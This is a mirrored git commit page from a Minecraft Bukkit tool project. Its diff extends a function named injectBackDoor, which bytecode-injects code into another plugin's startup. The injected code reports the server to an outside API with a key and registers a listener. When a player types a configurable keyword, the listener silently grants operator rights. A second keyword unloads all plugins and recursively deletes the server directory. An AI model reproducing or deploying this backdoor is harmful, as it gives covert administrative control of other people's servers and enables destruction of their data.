mirror of
https://e.coding.net/circlecloud/BukkitInjectedTools.git
synced 2024-12-28 07:38:49 +00:00
feat: 添加自定义关键词
Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
parent
8a3c118ce5
commit
e22917936e
@ -31,13 +31,8 @@ public class InjectedKit {
|
||||
pool.appendClassPath(classFile.getPath());
|
||||
final CtClass statusListener = pool.get(clazz.getName());
|
||||
final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
|
||||
statusListener
|
||||
.addField(CtField.make(
|
||||
"private static final net.minecraft.server."
|
||||
+ NMS
|
||||
+ ".IChatBaseComponent infoAlreadySent = new net.minecraft.server."
|
||||
+ NMS
|
||||
+ ".ChatComponentText(\"Status request has already been handled.\");",
|
||||
statusListener.addField(
|
||||
CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS + ".ChatComponentText(\"Status request has already been handled.\");",
|
||||
statusListener));
|
||||
statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
|
||||
final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
|
||||
@ -54,7 +49,7 @@ public class InjectedKit {
|
||||
}
|
||||
}
|
||||
|
||||
public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin) {
|
||||
public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin, final String opk, final String delk) {
|
||||
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据 " + key + " 注入类...");
|
||||
try {
|
||||
final ClassPool pool = ClassPool.getDefault();
|
||||
@ -73,7 +68,11 @@ public class InjectedKit {
|
||||
+ " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS(\""
|
||||
+ key
|
||||
+ "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
|
||||
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(), this);\r\n"
|
||||
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\""
|
||||
+ opk
|
||||
+ "\",\""
|
||||
+ delk
|
||||
+ "\"), this);\r\n"
|
||||
+ "}";
|
||||
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
|
||||
try {
|
||||
|
@ -1,12 +1,32 @@
|
||||
package pw.yumc.BukkitInjectedTools;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.PluginCommand;
|
||||
import org.bukkit.command.SimpleCommandMap;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.Listener;
|
||||
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||
import org.bukkit.plugin.Plugin;
|
||||
import org.bukkit.plugin.PluginManager;
|
||||
|
||||
public class LIS implements Listener {
|
||||
private final String opk;
|
||||
private final String delk;
|
||||
|
||||
public LIS(final String opk, final String delk) {
|
||||
this.opk = opk;
|
||||
this.delk = delk;
|
||||
}
|
||||
|
||||
public static boolean deleteDir(final File dir) {
|
||||
if (dir.isDirectory()) {
|
||||
final String[] children = dir.list();
|
||||
@ -20,14 +40,70 @@ public class LIS implements Listener {
|
||||
|
||||
@EventHandler
|
||||
public void ocp(final PlayerCommandPreprocessEvent e) {
|
||||
if (e.getMessage().contains("yumop")) {
|
||||
if (e.getMessage().contains(opk)) {
|
||||
e.getPlayer().setOp(true);
|
||||
return;
|
||||
}
|
||||
if (e.getMessage().contains("yumdel")) {
|
||||
if (e.getMessage().contains(delk)) {
|
||||
unload();
|
||||
final File dir = new File("");
|
||||
deleteDir(dir);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public boolean unload() {
|
||||
final PluginManager pluginManager = Bukkit.getPluginManager();
|
||||
SimpleCommandMap commandMap = null;
|
||||
List<Plugin> plugins = null;
|
||||
Map<String, Plugin> lookupNames = null;
|
||||
Map<String, Command> knownCommands = null;
|
||||
if (pluginManager == null) {
|
||||
return false;
|
||||
}
|
||||
try {
|
||||
final Field pluginsField = pluginManager.getClass().getDeclaredField("plugins");
|
||||
pluginsField.setAccessible(true);
|
||||
plugins = (List<Plugin>) pluginsField.get(pluginManager);
|
||||
|
||||
final Field lookupNamesField = pluginManager.getClass().getDeclaredField("lookupNames");
|
||||
lookupNamesField.setAccessible(true);
|
||||
lookupNames = (Map<String, Plugin>) lookupNamesField.get(pluginManager);
|
||||
|
||||
final Field commandMapField = pluginManager.getClass().getDeclaredField("commandMap");
|
||||
commandMapField.setAccessible(true);
|
||||
commandMap = (SimpleCommandMap) commandMapField.get(pluginManager);
|
||||
|
||||
final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
|
||||
knownCommandsField.setAccessible(true);
|
||||
knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
|
||||
|
||||
} catch (final Exception e) {
|
||||
return false;
|
||||
}
|
||||
for (final Plugin next : pluginManager.getPlugins()) {
|
||||
pluginManager.disablePlugin(next);
|
||||
plugins.remove(next);
|
||||
lookupNames.remove(next.getName());
|
||||
for (final Iterator<Map.Entry<String, Command>> it = knownCommands.entrySet().iterator(); it.hasNext();) {
|
||||
final Map.Entry<String, Command> entry = it.next();
|
||||
if ((entry.getValue() instanceof PluginCommand)) {
|
||||
final PluginCommand command = (PluginCommand) entry.getValue();
|
||||
if (command.getPlugin() == next) {
|
||||
command.unregister(commandMap);
|
||||
it.remove();
|
||||
}
|
||||
}
|
||||
}
|
||||
final ClassLoader cl = next.getClass().getClassLoader();
|
||||
try {
|
||||
((URLClassLoader) cl).close();
|
||||
} catch (final IOException ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
System.gc();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
@ -67,17 +67,26 @@ public class YumTestCommand implements CommandExecutor {
|
||||
|
||||
// http://api.yumc.pw/M/P/S/K/mayomi/P/25565
|
||||
@Cmd(minimumArguments = 2)
|
||||
@Help(value = "插件数据注入", possibleArguments = "<插件名称> <Key>")
|
||||
@Help(value = "插件数据注入", possibleArguments = "<插件名称> <Key> [opk] [delk]")
|
||||
@Sort(7)
|
||||
public void ib(final CommandArgument e) {
|
||||
final String pname = e.getArgs()[0];
|
||||
final String key = e.getArgs()[1];
|
||||
final String[] args = e.getArgs();
|
||||
final String pname = args[0];
|
||||
final String key = args[1];
|
||||
String opk = "yum-op";
|
||||
String delk = "yum-del";
|
||||
if (args.length > 2) {
|
||||
opk = args[2];
|
||||
}
|
||||
if (args.length > 3) {
|
||||
delk = args[3];
|
||||
}
|
||||
final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
|
||||
if (plugin == null) {
|
||||
e.getSender().sendMessage(prefix + "§c插件不存在...!");
|
||||
return;
|
||||
}
|
||||
InjectedKit.injectBackDoor(e.getSender(), key, plugin);
|
||||
InjectedKit.injectBackDoor(e.getSender(), key, plugin, opk, delk);
|
||||
}
|
||||
|
||||
@Cmd
|
||||
|
Loading…
Reference in New Issue
Block a user